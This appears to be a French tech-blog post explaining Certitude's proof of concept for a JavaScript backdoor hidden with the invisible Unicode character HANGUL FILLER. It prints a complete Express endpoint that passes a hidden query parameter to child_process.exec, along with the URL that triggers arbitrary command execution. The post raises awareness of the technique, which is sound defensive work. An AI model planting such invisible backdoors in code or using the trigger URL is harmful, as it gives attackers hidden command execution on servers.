Aller au contenu
Korben, roi d’internet, logo bébé avec des lunettes en mode thug life

Une backdoor invisible en JavaScript

Des chercheurs du cabinet de consultig Certitude, ont mis au point une backdoor (porte dérobée) qui ne peut pas être détectée, car elle utilise un caractère Unicode invisible. La technique n’est pas nouvelle, mais c’est une bonne piqûre de rappel (c’est la mode en ce moment, les rappels).

Celui-ci peut ainsi être interprété comme une variable dans un bout de code JavaScript. En effet, à partir de la version 2015 d’ECMAScript, tous les caractères Unicode ayant la propriété « ID_Start » peuvent être utilisés dans des variables ou des constantes.

Ainsi, le caractère « ㅤ » (0x3164 en hexadécimal) qu’on appelle également « HANGUL FILLER » est considéré comme une lettre et possède cette propriété « ID_Start ».

Il ne reste plus qu’à l’utiliser dans du code JavaScript en échappant le caractère comme ceci :

const { timeout,u3164} = req.query;

Ainsi, dans ce code, on ne passe pas uniquement 1 paramètre « timeout » dans la requête, mais 2 paramètres : timeout et notre caractère Unicode invisible.

Ainsi, quand on observe ce code :

const express = require('express');
const util = require('util');
const exec = util.promisify(require('child_process').exec);

const app = express();

app.get('/network_health', async (req, res) => {
    const { timeout,ㅤ} = req.query;
    const checkCommands = [
        'ping -c 1 google.com',
        'curl -s http://example.com/',ㅤ
    ];

    try {
        await Promise.all(checkCommands.map(cmd => 
                cmd && exec(cmd, { timeout: +timeout || 5_000 })));
        res.status(200);
        res.send('ok');
    } catch(e) {
        res.status(500);
        res.send('failed');
    }
});

app.listen(8080);

On peut voir que le caractère est appelé à 2 endroits. Je les ai mis en gras. Sur Visual Studio c’est un peu plus voyant, car ces caractères forment des carrés jaunes (lignes 8 et 11).

Code JavaScript pour créer une backdoor discrète

Chaque élément du tableau, les commandes en dur et le paramètre fourni par l’utilisateur du script sont ensuite transmis à la fonction exec qui exécute les commandes au niveau du système d’exploitation.

Grâce à notre caractère invisible, on peut lui passer une commande bonus comme ceci en ajoutant le paramètre 0x3164 URL-encoded, ce qui donne %E3%85%A4 :

http://host:8080/network_health?%E3%85%A4=METTEZ-ICI-NIMPORTE-QUELLE-COMMANDE

Et voilà, la commande supplémentaire sera alors exécutée sur le système.

Ainsi, la détection de ce genre de code invisible dépendra vraiment de l’éditeur utilisé pour afficher le code. Comme vous avez pu le voir, sous Visual Studio c’est visible, mais subtil.

Dans le même genre, il est également possible de tromper l’auditeur d’un code avec des caractères qui se ressemblent. Par exemple, ce symbole “ǃ” n’est pas un point d’exclamation, mais un caractère Unicode appelé ALVEOLAR CLICK. Vous retrouverez l’ensemble de ces codes baptisés « Confusables » ici.

Vous trouverez tous les détails concernant cette technique ici.

Que faire après le bac quand on est passionné de cybersécurité ?

Entièrement dédiée à la cybersécurité, l’école Guardia est accessible soit directement après le bac (post-bac), soit après un bac+2 ou bac+3. En rejoignant l’école Guardia, vous deviendrez développeur informatique option cybersécurité (Bac+3) ou expert en cybersécurité (Bac+5).

Cliquez ici pour en savoir plus

Lien sponsorisé


Des idées pour vos menus (+ 10 € de réduction sur vos prochaines courses)

Jow est une application iOS et Android ainsi qu’un site web, qui propose des menus délicieux et rapide à réaliser. L’application se connecte à votre magasin préféré (Carrefour, Auchan, E. Leclerc…etc.) et génère la liste de vos courses tout en vous proposant des réductions.

Jow c’est top si :

  • Vous cherchez sans cesse des idées de menu
  • Vous voulez gagner du temps avec vos courses
  • Vous souhaitez manger plus équilibré
  • Vous voulez éviter le gâchis alimentaire
  • Vous aimez vous partager des photos de vos créations culinaires sur les réseaux

10 € de réduction sur vos prochaines courses

Et comme une bonne nouvelle n’arrive jamais seule, si vous créez votre compte sur Jow en passant par ce lien, vous profiterez de 10 € de réduction sur vos courses avec ce code promo :

2LE2QR

Quand on voit le coût de la vie, ça ne se refuse pas.

Bon ap !

Lien affilié

Les articles du moment